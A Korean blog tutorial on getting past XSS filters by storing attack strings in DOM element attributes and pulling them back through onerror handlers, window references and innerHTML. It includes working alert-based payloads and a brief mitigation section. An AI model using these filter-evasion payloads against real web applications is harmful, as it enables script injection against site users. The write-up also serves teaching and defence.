[WEB HACKING] XDE(XSS DOM-base Evasion) Attack

여러가지 테스트를 하다보니 재미있는 것을 하나 찾아서 작성합니다.

물론 XXN 처럼 신박한 방법은 아니지만 아주 간단하며, 알고있다면 XSS 필터링에 대한 우회 기법으로 사용할 수 있을 것 같네요.

기존에 DOM Base XSS처럼 DOM을 이용한 XSS이지만 잘 활용하면 XSS를 방지하기 위해 만든 Filter에 대해 우회할 수 있는 포인트가 발생합니다. 저는 이 방법을 간단하게 추려서 XDE(XSS DOM-base Evasion)이라고 부릅니다. 이 XDE는 DOM 영역을 이용해 XSS 필터링을 우회하거나 공격 구문에 대해 어느정도 숨겨볼 수 있을 것 같습니다.

DOM(Document Object Model)

DOM Base XSS 많이 들어보셨을겁니다. DOM(Document Object Model)은 HTML의 Document를 의미하며 사용자가 고려된 동적인 영역입니다. 이런 DOM 영역에서의 XSS를 DOM XSS라고 부르지만 이번 내용에서는 DOM 을 이용해서 필터링을 우회하는 방법에 대해 작성할까 합니다. 일단 DOM에 대해 어느정도 알고가야 좋습니다.

(style=undefined)
hxxp://uvu.miketheindian.com/wp-content/uploads/2011/08/html-dom-example.gif

DOM은 !doctype 최상위 요소인 #document 부터 시작되며 Element, Node로 이루어집니다. XSS를 해보셨다면 document가 굉장히 익숙할 껍니다. location.href로 페이지를 넘기는 등의 행위를 하던게 바로 DOM입니다.

DOM Document -> Element -> Node

XDE Attack!

앞에서 설명드린 것 처럼 DOM을 이용하여 필터링을 우회하는 방법입니다. XDE에 대해 잘 이해하신다면 실패한 XSS를 살려낼 수 있는 좋은 기회가 될 수 있겠죠.

아래 Case는 img 태그와 핸들러를 이용해서 구문삽입을 하였지만 스크립트 내 “:”와 “(,)” 에 대한 필터링으로 공격이 어려웠던 케이스였습니다.

이친구는 위 특수문자 들이 삽입된 후 불러오는중에 해당 문자가 구문에 포함되면 필터링하는 구조를 가지고 있었습니다. 그래서 아래와 같이 testz라는 Element node 내 title 영역에 공격구문을 넣고 취약 구간에서 불러오는 식으로 우회하였습니다.


<img id="testz" title="javascript:alert(45)">
<img src="z" onerror="document.location.href=document.testz.title">

img 태그에서 필터링을 우회하기 위해 testz 라는 임의의 Element를 만듭니다. 공격자는 testz 내 title 영역에 자신이 사용할 공격코드를 넣어놓습니다. 더블쿼테이션을 풀지 않았기 때문에 대다수의 XSS 필터는 해당 부분을 필터링 하지 않습니다.

그다음 공격자는 취약한 img 태그 내 XSS 을 시도합니다. 여기서 스크립트 구간까지는 무난하게 진입하였어도 구문이나 특정 문자에 대한 필터링으로 공격이 어려울때가 있습니다. 이 때 testz에 넣어둔 값을 꺼내와 공격에 사용할 수 있습니다.

그림에 1번 과정에서 img tag는 testz의 title을 요청하게 됩니다. 2번에서 testz는 자신의 title 영역에 존재하는 데이터 “ javascript:alert(45) “ 를 반환하게 되고 img tag에서는 그 내용을 읽어서 사용할 수 있게 됩니다.

각각 document 내 Element는 여러가지 속성값을 가지고있고 해당 속성에 대한 정보를 DOM 영역에서 불러올 수 있습니다. 공격자는 DOM 영역에 공격코드를 넣어두고 불러와서 필터링을 우회하여 공격할 수 있는 상황 또한 가능하겠지요.

이 DOM 영역에 대해 고민을 좀 해봤습니다. 대체로 IMG 태그에는 공격에 사용 가능한 Event Handler를 필터링하는 경우가 많기 때문에 이런식으로 공격코드를 분할하여 DOM에 저장한 후 취약 페이지에서 불러와서 공격이 가능할 수도 있을 것 같습니다.


<img id="hwul1" title="javascript:eval(function(p,a,c,k,e,r){e=String;if(!''.replace(/^/,String)){while(c--)r[c]=k[c]||c;">
<img id="hwul2" title="k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};">
<img id="hwul3" title="while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0(1)',2,2,'alert|45'.split('|'),0,{}))">
<img src="z" onerror="document.location.href=document.hwul1.title+document.hwul2.title+document.hwul3.title">

이런식으로 공격코드를 만들어도 정상적으로 작동이 되겠지요.

맨위의 방법과 유사합니다. 여러가지 input 포인트가 존재하거나 공격자가 input을 주어 DOM 내 데이터를 저장할 수 있을 떄 공격자는 DOM을 이용해서 필터링을 우회하거나 코드를 숨길 수 있습니다.

자바스크립트 내 document.location.href에서 각각 hwul1,2,3 영역에 나누어진 공격코드를 불러와 합쳐셔 사용할 수 있게 되지요. 공격자는 정상적인 태그나 이미지 내 공격코드를 넣어두고 DOM 영역에 접근하여 불러와 사용할 수 있습니다.

또한 document 말고도 window , opener등 여러가지가 있습니다.각각 페이지를 의미하는 것들이 여러가지 존재하기 때문에 공격자는 상황에 따라 필터링을 우회하기 위한 구문을 만들어주면 됩니다.


<img id="hwul1" title="javascript:eval(function(p,a,c,k,e,r){e=String;if(!''.replace(/^/,String)){while(c--)r[c    ]=k[c]||c;">
<img id="hwul2" title="k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};">
<img id="hwul3" title="while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0(1)',2,    2,'alert|45'.split('|'),0,{}))">
<img src="z" onerror="window.location.href=window.hwul1.title+window.hwul2.title+window.hwul3.title">

document 기반의 필터링을 존재한다면 위와 같은 방법으로 window 등을 이용하여 동일하게 사용할 수 있겠지요.

여기서 조금 더 생각해보면 이런 형식의 코드도 가능할 것 같습니다. 한 페이지에 XSS코드는 여러군데 삽입이 가능한 경우가 많습니다. 특히 더블쿼테이션(“) 에 대한 필터링으로 아래 input 문과 같이 사용을 하지 못하는 경우가 대다수이지요.

이럴 때 일반적인 Javascript 코드에서 부분을 활용하는 코드를 만나면 우회를 생각해 볼 포인트가 더 생기게 됩니다. 아래는 그냥 예시로 만든 DOM-XSS 코드입니다.


NAME: <input type="text" id="v1" value="Lee">
PHONE: <input type="text" id="v2" value="000-0000-0000">
DESC: <input type="text" id="v3" value="User">

위 값은 사용자 프로필에 대한 값이며 얼마든지 수정이 가능하다고 가정합니다. 이 때 공격자는 Javascript XSS 포인트를 발견하였지만 부분적으로 필터링이 존재하여 함수 실행이 불가능합니다.

필터링 규칙: 특수문자 “(“, “)” 및 location, cookie에 대해 필터링이 존재하여 함수 실행 및 Redirection이 어려운 상태

이럴 때 공격자는 document.body의 innerHTML을 제어하여 document.write와 같은 효과를 낼 수 있습니다.


NAME: <input type="text" id="v1" value="Lee">
PHONE: <input type="text" id="v2" value="000-0000-0000">
DESC: <input type="text" id="v3" value="User">

<script>
document.body.innerHTML=window.v1.value+window.v2.value+window.v3.value;
</script>

innerHTML은 body 내 HTML 코드를 의미하며 Read/Write 모두다 가능하기 때문에 Docuemtn.write() 함수를 이용한 DOM XSS와 유사한 형태로 공격이 가능합니다.

그럼 공격자는 아래와 같이 유저 정보를 수정하여 DOM XSS공격코드를 저장합니다.


NAME: <input type="text" id="v1" value="z<iframe ">
PHONE: <input type="text" id="v2" value=" src=javascript:alert(45)><">
DESC: <input type="text" id="v3" value="/iframe>">

<script>
document.body.innerHTML=window.v1.value+window.v2.value+window.v3.value;
</script>

아래는 w3schools.com에서 제공하는 dom object의 document와 element에 대한 내용입니다. 잘 활용하면 코드를 숨기거나 필터링을 우회할 수 있는 방법이 많이 생기겠죠.

Document http://www.w3schools.com/jsref/dom_obj_document.asp

Element http://www.w3schools.com/jsref/dom_obj_all.asp

대응방법

XSS 권고 시 특수문자 및 핸들러, 주요 구문에 대한 필터링 이야기를 하는데 정말 잘 되어야합니다. 조금의 흠이라도 있다면 위와 같은 방법으로 풀어나갈 수 있습니다. XSS Point 를 줄이는것이 중요하고 적용된 XSS Filter에 대한 검증이 꼭 필요할 것 같네요.

Reference

http://www.w3schools.com/jsref/dom_obj_document.asp